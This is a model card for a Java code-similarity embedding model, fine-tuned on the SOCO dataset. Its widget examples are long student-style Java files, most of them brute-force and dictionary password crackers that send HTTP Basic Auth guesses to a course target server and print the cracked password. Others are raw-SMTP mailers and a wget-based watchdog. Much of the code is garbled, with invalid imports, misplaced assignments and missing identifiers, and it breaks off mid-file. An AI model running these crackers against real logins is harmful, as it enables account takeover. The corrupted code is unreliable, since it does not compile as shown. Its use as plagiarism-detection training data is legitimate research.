Model: buelfhood/SOCO-Java-UnixCoder-MNLR-Triplets-e10
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:38664, loss:MultipleNegativesRankingLoss, dataset:buelfhood/SOCO_TRAIN_java, arxiv:1908.10084, arxiv:1705.00652, base_model:microsoft/unixcoder-base-unimodal, base_model:finetune:microsoft/unixcoder-base-unimodal, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: microsoft/unixcoder-base-unimodal
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, generated_from_trainer, dataset_size:38664, loss:MultipleNegativesRankingLoss
base_model: microsoft/unixcoder-base-unimodal
widget: source_sentence: 

import java.net.*;
import java.io.*;

public class sendMail {

public void sendMail(String mailServer, String recipient, String result) {
   try {
      Socket s = new Socket(mailServer, 25);
      BufferedReader in = new BufferedReader
          (new InputStreamReader(s.getInputStream(), "8859_1"));
      BufferedWriter out = new BufferedWriter
          (new OutputStreamWriter(s.getOutputStream(), "8859_1"));

      send(in, out, "HELO client");

      send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");
      send(in, out, "RCPT : " + recipient);
      send(in, out, "DATA");
      send(out, "Subject: ");
      send(out, "From: Admin <WatchDog@SecureECommerce.>");
      send (out, "\n");
      
      send(out, result);
      send(out, "\n.\n");
      send(in, out, "QUIT");

      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedReader in, BufferedWriter out, String s) {
   try {
      out.write(s + "\n");
      out.flush();
      System.out.println(s);
      s = in.readLine();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedWriter out, String s) {
   try {
      out.write(s + "\n");
      out.flush();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }
}
sentences: import java.net.*;
import java.io.*;
import java.*;

 public class BruteForce {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     BruteForce a = new BruteForce();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     int attempts = 0;
     exit:
     for (int i=0;i<pwdArray.length;i++) {
		 for (int j=0;j<pwdArray.length;j++) {
			 for (int k=0;k<pwdArray.length;k++) {
				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
				 attempts++;
     			 a.doit(inp);
  
  				 if (status) {
					 System.out.println("Crrect password is: " + inp[2]);
					 System.out.println("Number of attempts = " + attempts);
					 break exit;
			 	 }
     			 inp[2] = "";
		 	 }
	 	 }
      }
     }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty ("Authorization",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return " " + base64Encode (username + ":" + password);
     }

   private final static char pwdArray [] = {
	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
	        'W', 'X', 'Y', 'Z', ' '
  };

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = "";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += "=";
          break;
        case 2:
          encodedString += "==";
          break;
        }
       }
       return encodedString;
   }
 }

, 
import java.io.*;

public class PasswordFile {
    
    private String strFilepath;
    private String strCurrWord;
    private File fWordFile;
    private BufferedReader in;
    
    
    public PasswordFile(String filepath) {
        strFilepath = filepath;
        try {
            fWordFile = new File(strFilepath);
            in = new BufferedReader(new FileReader(fWordFile));
        }
        catch(Exception e)
        {
            System.out.println("Could not open file " + strFilepath);
        }
    }
    
    String getPassword() {
        return strCurrWord;
    }
    
    String getNextPassword() {
        try {
            strCurrWord = in.readLine();
            
            
            
        }
        catch (Exception e)
        {
            
            return null;
        }
                
        return strCurrWord;
    }
    
}
, 

import java.net.*;
import java.io.*;

public class SendEMail {

 public void SendEMail(){}

public void sendMail(String recipient,String c, String subject){
   try {

      Socket s = new Socket("yallara.cs.rmit.edu.", 25);
      BufferedReader in = new BufferedReader
          (new InputStreamReader(s.getInputStream(), "8859_1"));
      BufferedWriter out = new BufferedWriter
          (new OutputStreamWriter(s.getOutputStream(), "8859_1"));

      send(in, out, "HELO theWorld");
      
      
      send(in, out, "MAIL FROM: <watch@dog.>");
      send(in, out, "RCPT : "+recipient);
      send(in, out, "DATA");
      send(out, "Subject: "+ subject);
      send(out, "From: WatchDog.java");
      send (out, "\n");
      
      BufferedReader reader;
      String line;
      reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
      line = reader.readLine();
      while (line != null){
          send(out, line);
         line = reader.readLine();
      }
      send(out, "\n.\n");
      send(in, out, "QUIT");
      s.print();
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedReader in, BufferedWriter out, String s) {
   try {
      out.write(s + "\n");
      out.flush();
      System.out.println(s);
      s = in.readLine();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedWriter out, String s) {
   try {
      out.write(s + "\n");
      out.flush();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }
}, source_sentence: 

import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;



public class BruteForce
{
   private URL url;
   private HttpURLConnection connection ;
   private  int stopTime = 0;
   private  int startTime = 0;
   private  int count = 0;

   public BruteForce()
   {
      System.out.println("Process is running...");
      startTime = System.currentTimeMillis();
      threeLetters();
      twoLetters();
   }

   public static void main (String args[])
   {
      BruteForce bf = new BruteForce();
   }
   
   public void threeLetters()
   {
      String s1;
      char [] a = {'a','a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            for (int i2 = 0; i2 < 26; i2++)
            {
               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
                    String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
		            String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
                    (String.valueOf((char)(a[2] + i2))).toUpperCase();
               decision(s1);
               count++;

               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                    (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));
               decision(s1);
               count++;
            }
         }
      }
   }
   
   public void twoLetters()
   {
      String s1;
      char [] a = {'a','a'};

      for (int i0 = 0; i0 < 26; i0++)
      {
         for (int i1 = 0; i1 < 26; i1++)
         {
            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;

            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
                 (String.valueOf((char)(a[1] + i1))).toUpperCase();
            decision(s1);
            count++;

            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));
            decision(s1);
            count++;
         }
      }
   }

   
   public void decision(String s1)
   {
      if (find(s1) == 200)
      {
         stopTime = System.currentTimeMillis();
          runTime = stopTime - startTime;
         System.out.println("***************************************");
         System.out.println("\nAttack successfully");
         System.out.println("\nPassword is: " + s1);
         System.out.println("\nThe contents of the Web site: ");
         displayContent(s1);
         System.out.println("\nTime taken  crack: " + runTime + " millisecond");
         System.out.println("\nNumber of attempts: " + count);
         System.out.println();

         System.exit(0);
      }
   }
   
   
   public int find(String s1)
   {
      int responseCode = 0;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));

         responseCode = connection.getResponseCode();

      }catch (Exception e)
      {
          System.out.println(e.getMessage());
      }
      return responseCode;
   }

   
   public void displayContent(String pw)
   {
      BufferedReader bw = null ;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
         InputStream stream = (InputStream)(connection.getContent());
         if (stream != null)
         {
             InputStreamReader reader = new InputStreamReader (stream);
             bw = new BufferedReader (reader);
             String line;

             while ((line = bw.readLine()) != null)
             {
                System.out.println(line);
             }
        }
      }
      catch (IOException e)
      {
         System.out.println(e.getMessage());
      }
   }
}





sentences: import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class BruteForce {

    String password="";

    int num =401;


    public static void main (String[] args) {

      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

      BruteForce URLcon;

      int length = 0;

      String passwd="";

       int t0,t1;

      
      if (args.length == 0) {
      	
      	System.err.println (
      		
      		"Usage : java BruteForce <username>");
      	return;
      	
      	}
      String username = args[0];
      

      t0=System.currentTimeMillis();

      System.out.println ("  " + new Date());
      
      System.out.println ("Using BruteForce method  attack "+username+"'s password.Please waiting.......");

       for (int i=0;i<str.length();i++){

             passwd=str.substring(i,i+1);

             URLcon = new BruteForce (passwd,username);

             if ((URLcon.num)!=401) {

             	t1=System.currentTimeMillis();

                System.out.println("The password: "+ passwd);

             	double dt =t1-t0;



             	System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");

                System.out.println ("Finish  " + new Date());
                
             	return;

             }

             for (int j=0;j<str.length();j++){

                passwd =str.substring(i,i+1)+str.substring(j,j+1);

                URLcon = new BruteForce (passwd,username);

                if ((URLcon.num)!=401) {

             	     t1=System.currentTimeMillis();

                     System.out.println("The password: "+ passwd);


                     double dt =t1-t0;



                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
                     System.out.println ("Finish  " + new Date());
             	 return;

                 }
                for (int m=0;m<str.length();m++){

                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);

                  URLcon = new BruteForce (passwd,username);

                  if ((URLcon.num)!=401) {

                 	t1=System.currentTimeMillis();

                    System.out.println("The password: "+ passwd);


             	    double dt =t1-t0;



                 	System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
                    
                    System.out.println ("Finish  " + new Date());
                    
             	    return;

                  }


             }

}
}
        System.out.println(" not find the password");

}

   public  BruteForce  (String password, String username){

  	  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;

      

      try {

        String userPassword = username+":"+password ;

        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());

        URL url = new URL (urlString);

        HttpURLConnection uc = (HttpURLConnection) url.openConnection();

        uc.setRequestProperty ("Authorization", " " + encoding);

        url = uc.getResponseCode();


       }
        catch(MalformedURLException e){
       	  System.out.println(e);
       }catch(IOException e){
          System.out.println(e);
       }


   }
}, 



public class HoldSharedData
{
    private int      numOfConnections = 0;
    private    int  startTime;
    private    int  totalTime = 0;
    private String[] password;
    private int      pwdCount;

    public HoldSharedData( int time, String[] pwd, int count )
    {
        startTime = time;

        password = pwd;
        pwdCount = count;
    }

    public int getPwdCount()
    {
        return pwdCount;
    }

    public void setNumOfConnections( )
    {
        numOfConnections ++;
    }

    public int getNumOfConnections()
    {
        return numOfConnections;
    }

    public int getStartTime()
    {
        return startTime;
    }

    public void setTotalTime( int newTotalTime )
    {
        totalTime = newTotalTime;
    }

    public int getTotalTime()
    {
        return totalTime;
    }

    public String getPasswordAt( int index )
    {
        return password[index];
    }
}  
, 

import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;



public class Dictionary
{
   private URL url;
   private HttpURLConnection connection ;
   private int stopTime = 0;
   private int startTime = 0;
   private int count = 0;

   public Dictionary()
   {
      System.out.println("Process is running...");
      startTime = System.currentTimeMillis();
      findWords();
   }

   public static void main(String args[])
   {
      Dictionary sc = new Dictionary();
   }
   
   
   public void findWords()
   {
      try
      {
         BufferedReader input = new BufferedReader(new FileReader ("words"));
         String text;
         while ((text = input.readLine()) != null)
         {
            if ((text.length() == 3) || (text.length() == 2))
            {
                count++;
                decision(text);
            }

          }

      }
      catch (IOException io)
      {
         System.out.println("File Error: " + io.getMessage());
      }
   }
   
   
   public void decision(String s1)
   {
      if (find(s1) == 200)
      {
         stopTime = System.currentTimeMillis();
          runTime = stopTime - startTime;
         System.out.println("***************************************");
         System.out.println("\nAttack successfully");
         System.out.println("\nPassword is: " + s1);
         System.out.println("\nThe contents of the Web site: ");
         displayContent(s1);
         System.out.println("\nTime taken  crack: " + runTime + " millisecond");
         System.out.println("\nNumber of attempts: " + count);
         System.out.println();

         System.exit(0);
      }
   }
   
   
   public int find(String s1)
   {
      int responseCode = 0;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));

         responseCode = connection.getResponseCode();

      }catch (Exception e)
      {
          System.out.println(e.getMessage());
      }
      return responseCode;
   }
   
   public void displayContent(String pw)
   {
      BufferedReader bw = null ;
      try
      {
         url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         connection = (HttpURLConnection)url.openConnection();

         connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
         InputStream stream = (InputStream)(connection.getContent());
         if (stream != null)
         {
             InputStreamReader reader = new InputStreamReader (stream);
             bw = new BufferedReader (reader);
             String line;

             while ((line = bw.readLine()) != null)
             {
                System.out.println(line);
             }
        }
      }
      catch (IOException e)
      {
         System.out.println(e.getMessage());
      }
   }
}




, source_sentence: 
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient1 implements Runnable
{
   private String hostname;
   private int port;
   private String filename;
   private Socket s;
   private int n;
   private InputStream sin;
   private OutputStream sout;
   private int dif;
   private String myPassword;
   private int status;
   private int myTime;
   private Dictionary myMaster;
   

   public MyClient1(Dictionary dic, int num, int myPort, String password)
   {
      
      hostname = new String("sec-crack.cs.rmit.edu.");
      port = myPort;
      status = 0;
      myTime = 0;
      myPassword = password;
      filename = new String("/SEC/2/");
      myMaster = 0;
      n = num;
      dif = 0;
      
   }
   public  getDif()
   {
      return dif;
   }
   public int getStatus()
   {
      return status;
   }
   public void run() 
   {
      String inputLine;
      String[] tokens = new String[5];
      int i;
       myTime = 0;
       finish = 0;
      start = System.currentTimeMillis();
      try
      {
         s = new Socket( hostname, port);
      }catch( UnknownHostException e)
      {
         System.out.println("'t find host");
      }catch( IOException e)
       {
          System.out.println("Error connecting  host "+n);
	  return;
       }
      while(s.isConnected() == false)
         continue;
      
      finish = System.currentTimeMillis();
      dif = finish - start;
      
      try
      {
        sin  = s.getInputStream();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
      try
      {
         sout = s.getOutputStream();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      
      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
      toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization:  "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
      toServer.flush();
      
      try
      {
         inputLine = fromServer.readLine();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
	  inputLine = null;
       }
      
      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, " ");
      i = 0;
      while(bf.hasMoreTokens())
      {
         tokens[i] =bf .nextToken();
	 i++;
      }
      status = Integer.parseInt( tokens[1]);
      myTime = System.currentTimeMillis();
      if( status == 200)
      {
         System.out.println("Ok "+myPassword);
	 myMaster.retire( this);
      }
     
      toServer.send();
      try
      {
         fromServer.recieve();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      try
      {
         s.connect();
      }catch( IOException e)
       {
          System.out.println("'t  connection");
	  System.exit(0);
       }
   }
   public  getTime()
   {
      return myTime;
   }
   
}

sentences: import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;


public class ReadFile
{
  private StringTokenizer tokenizer;
  private BufferedReader bf;
  private String line;
  private String first;
  Vector in = new Vector();
  
  public void loadFile()throws NoSuchElementException, IOException
  {
    System.out.println("in loadFile");
    try{
    bf = new BufferedReader(new FileReader("words"));
    }
    catch(FileNotFoundException fe){}
    catch(IOException io){}
    while((line = bf.readLine())!=null)
      {

        int index = 0;
        tokenizer = new StringTokenizer(line);
        try
	   {
	     first = tokenizer.nextToken();
	     
	     
	     if (first.length() == 3)
	     {
		in.add(first);
	     }
	  }
        catch(NoSuchElementException n)
	   {
          System.out.println("File Loaded Succesfully");

        }

      }
   }
   public Vector getVector()
   {
    return in;
   }
   public static void main (String args[])
   {
     Vector v = new Vector();
     try
     {
       System.out.println("in ");
	 ReadFile  rf = new ReadFile();
       rf.loadFile();
       v = rf.getVector();
	 
     }
     catch(IOException e)
     {
      System.out.println(e);
     }
     System.out.println("size:" + v.size());
     for (int i = 0; i< v.size(); i++)
      {
        System.out.println(i+1+ ":" + v.elementAt(i));
      }
     
     
   }
   
}
, 
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient2 implements Runnable
{
   private String hostname;
   private int port;
   private String filename;
   private Socket s;
   private int n;
   private InputStream sin;
   private OutputStream sout;
   private int dif;
   private String myPassword;
   private int status;
   private int myTime;
   private BruteForce myMaster;
   

   public MyClient2(BruteForce bf , int num, int myPort, String password)
   {
      
      hostname = new String("sec-crack.cs.rmit.edu.");
      port = myPort;
      status = 0;
      myTime = 0;
      myPassword = password;
      filename = new String("/SEC/2/");
      myMaster = 0;
      n = num;
      dif = 0;
      
   }
   public  getDif()
   {
      return dif;
   }
   public int getStatus()
   {
      return status;
   }
   public void run() 
   {
      String inputLine;
      String[] tokens = new String[5];
      int i;
       myTime = 0;
       finish = 0;
      start = System.currentTimeMillis();
      try
      {
         s = new Socket( hostname, port);
      }catch( UnknownHostException e)
      {
         System.out.println("'t find host");
      }catch( IOException e)
       {
          System.out.println("Error connecting  host "+n);
	  return;
       }
      while(s.isConnected() == false)
         continue;
      
      finish = System.currentTimeMillis();
      dif = finish - start;
      
      try
      {
        sin  = s.getInputStream();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
      try
      {
         sout = s.getOutputStream();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      
      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
      toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization:  "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
      toServer.flush();
      
      try
      {
         inputLine = fromServer.readLine();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
	  inputLine = null;
       }
      
      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, " ");
      i = 0;
      while(sin.hasMoreTokens())
      {
         tokens[i] = sin.nextToken();
	 i++;
      }
      status = Integer.parseInt( tokens[1]);
      myTime = System.currentTimeMillis();
      if( status == 200)
      {
         System.out.println("Ok "+myPassword);
	 myMaster.retire( this);
      }
     
      toServer.send();
      try
      {
         fromServer.receive();
      }catch( IOException e)
       {
          System.out.println("'t open stream");
       }
      try
      {
         s.connect();
      }catch( IOException e)
       {
          System.out.println("'t  connection");
	  System.exit(0);
       }
   }
   public  getTime()
   {
      return myTime;
   }
  
}
, 

import java.util.*;
import java.text.*;
import java.io.*;
import java.*;
import java.net.*;

public class WatchDog
{
   public static void main(String args[])
   {
      String s = null;
      String webpage = "http://www.cs.rmit.edu./students/";
      
      
      String file1 = "file1";
      String file2 = "file2";
      
      try
      {
         Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);
         
         BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

         BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));

            
         while ((s = stdInput.readLine()) != null) { 
            System.out.println(s);
         }
            
            
         while ((s = stdError.readLine()) != null) { 
            System.out.println(s);
         }
         
         try
         {
            p.waitFor(); 
         }
         catch (InterruptedException g)  
         {
         }  
      }
      catch (IOException e) {
         System.out.println("exception happened - here's what I know: ");
         e.printStackTrace();
         System.exit(-1);
      }
      
      while (true)  
      {
         try
         {
            Process p = Runtime.getRuntime().exec("sleep 86400"); 
             
            BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

            BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));

            
            while ((s = stdInput.readLine()) != null) { 
               System.out.println(s);
            }
            
            
            while ((s = stdError.readLine()) != null) { 
               System.out.println(s);
            }
         
            try
            {
               p.waitFor(); 
            }
            catch (InterruptedException g)  
            {
            }  
         }
         catch (IOException e) 
         {
            System.out.println("exception happened - here's what I know: ");
            e.printStackTrace();
            System.exit(-1);
         } 
         try 
         {
            Process p = Runtime.getRuntime().exec("wget -O " + file2 + " " + webpage);
            
            BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

            BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));

            
            while ((s = stdInput.readLine()) != null) { 
               System.out.println(s);
            }
            
            
            while ((s = stdError.readLine()) != null) { 
               System.out.println(s);
            }
         
            try
            {
               p.waitFor(); 
            }
            catch (InterruptedException g)  
            {
            }  
         
         }
         catch (IOException e) 
         {
            System.out.println("exception happened - here's what I know: ");
            e.printStackTrace();
            System.exit(-1);
         }
         try 
         {
            
            Process p = Runtime.getRuntime().exec("diff " + file1 + " " + file2);
            
            BufferedReader stdInput = new BufferedReader(new 
                 InputStreamReader(p.getInputStream()));

            BufferedReader stdError = new BufferedReader(new 
                 InputStreamReader(p.getErrorStream()));    
            
             
            while ((s = stdError.readLine()) != null) { 
               System.out.println(s);
            }
         
            try
            {
               p.waitFor(); 
            }
            catch (InterruptedException g)  
            {
            }
            
            if ((p.exitValue()) == 1) 
            { 
            
               String mailServerURL = "yallara.cs.rmit.edu.";
               String host = "yallara.cs.rmit.edu.";
               String from = "@yallara.cs.rmit.edu.";
               
               String subject = "Change Detected In WatchDog.java";
     
               try
               {
               	
                  Socket csoc=new Socket(mailServerURL,25);
                  BufferedReader in=new BufferedReader(
                           new InputStreamReader(csoc.getInputStream()));
                  
                  PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);
                  System.out.println("HELO "+host);
                  System.out.println(in.readLine());
                  out.println("MAIL FROM:"+from);
                  System.out.println(in.readLine());
                  System.out.println(in.readLine());
                  System.out.println("DATA");
                  System.out.println(in.readLine());
                  System.out.println("SUBJECT:"+subject);
                  System.out.println(in.readLine());
                  
                  
                  while ((s = stdInput.readLine()) != null){
                     System.out.println(s);
                  }
                  out.println(".");
                  System.out.println(in.readLine());
                  System.out.println("QUIT");
                  System.out.println(in.readLine());                
               }
               catch(Exception e)
               {
                  e.printStackTrace();
                  System.out.println("Some error occoured while communicating  server");
               }
            }      
         }
         catch (IOException e) 
         {
            System.out.println("exception happened - here's what I know: ");
            e.printStackTrace();
            System.exit(-1);
         }
      }  
   }
}, source_sentence: 

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class Dictionary {
 public static void  main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));

       d  = new Date().getTime();
       FileReader fr = new FileReader("/usr/share/lib/dict/words");
       BufferedReader bufr = new BufferedReader(fr);
       String word = bufr.readLine();             
       int total = 960;
       String[] pws = new String[total];
       int count = 0;
       while (word!=null){
        if (word.length()<=3) { pws[count] = word; count++;}
	word = bufr.readLine();
       }
       
       int i=0;
       int response = 0;
       for (i=0;i<count;i++){
        String uname = "";
        String userinfo = uname + ":" + pws[i];
        try{
         String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());
         URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
         uc.setRequestProperty ("Authorization", " " + encoding);
         response = uc.getResponseCode();
	 if (response == 200) break;
	 else uc.disconnect();
        }
        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
       }
       System.out.println("Response "+i+" was "+response);
       System.out.println("The successful password was "+pws[i]);
        finish = new Date().getTime();
       float totaltime = (float)(finish-d)/1000;
       System.out.println("Time taken: "+totaltime+ " seconds.");
       
   }
}


sentences: 
import java.net.*;
import java.io.*;
import java.util.*;


public class Dictionary {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;
  try {
               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



              start =System.currentTimeMillis();

               BufferedReader dis = new BufferedReader(new FileReader("words"));


         while ((pass = dis.readLine()) != null)
          {


              UserPass= auth.encode("",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
              connect.setRequestProperty("Authorization"," " + UserPass);
              connect.connect();
              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);
             if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
              {
              System.out.println("Password is " + pass);
              end=System.currentTimeMillis();
              diff = end - start;
              System.out.println("Time Taken = " + (diff/1000) + " secs");
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }

            System.out.println(" match found");

            dis.close();
            dis=null;

            connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println("Unable  Open URL" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println("Unable  open file" + ioerr);
  }




  }
}, import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
     				 "",
     				 ""};
     File file = new File("words");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println("Crrect password is: " + inp[2]);
			 		 System.out.println("Number of attempts = " + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println("File not found: " + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
